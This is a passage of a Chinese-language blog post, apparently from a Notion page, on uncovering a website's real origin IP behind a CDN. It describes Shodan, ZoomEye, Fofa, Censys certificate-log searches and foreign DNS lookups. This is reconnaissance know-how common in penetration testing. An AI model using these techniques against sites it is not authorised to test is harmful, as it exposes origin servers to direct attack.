00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">通过关键字或网站域名，就可以找出被收录的IP，很多时候获取到的就是网站的真实IP。
</code></pre><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">钟馗之眼：&lt;https://www.zoomeye.org&gt;
Shodan：&lt;https://www.shodan.io&gt;
Fofa：&lt;https://fofa.so&gt;
</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-8d0decb5d7494912916ef400c6d1971c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://ae01.alicdn.com/kf/U8d06de4bce7a43b6bd33c4aaab38d8cdZ.jpg" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-746ad61113db46d4b2a00b5d72ccf2d2" data-id="746ad61113db46d4b2a00b5d72ccf2d2"><span><div id="746ad61113db46d4b2a00b5d72ccf2d2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#746ad61113db46d4b2a00b5d72ccf2d2" title="利用SSL证书寻找真实IP"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">利用SSL证书寻找真实IP</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">证书颁发机构(CA)必须将他们发布的每个SSL/TLS证书发布到公共日志中，SSL/TLS证书通常包含域名、子域名和电子邮件地址。因此SSL/TLS证书成为了攻击者的切入点。
</code></pre><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">&lt;https://censys.io/ipv4?q=baidu.com&gt;
</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-79fe365db760405b830dce4ab0ca0329"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://ae01.alicdn.com/kf/U1c283f42e7a648138305f8eb935b00f4D.jpg" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-9f241bb76afb4e4aaa12030acd588f91" data-id="9f241bb76afb4e4aaa12030acd588f91"><span><div id="9f241bb76afb4e4aaa12030acd588f91" class="notion-header-anchor"></div><a class="notion-hash-link" href="#9f241bb76afb4e4aaa12030acd588f91" title="国外主机解析域名"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">国外主机解析域名</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">大部分 CDN 厂商因为各种原因只做了国内的线路，而针对国外的线路可能几乎没有，此时我们使用国外的DNS查询，很可能获取到真实IP。
</code></pre><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">&lt;https://asm.ca.com/zh_cn/ping.php&gt;
&lt;http://host-tracker.com/&gt;
&lt;http://www.webpagetest.org/&gt;
&lt;https://dnscheck.pingdom.com/&gt;</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-6348eec1863d4b39857293a162e07424"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://ae01.alicdn.com/kf/Uc54b4c677c83415d94528c90f96b830ab.jpg" alt="notion image" loading="lazy" decoding="async"/></div></figure></main></div>]]></content:encoded>
        </item>
    </channel>
</rss>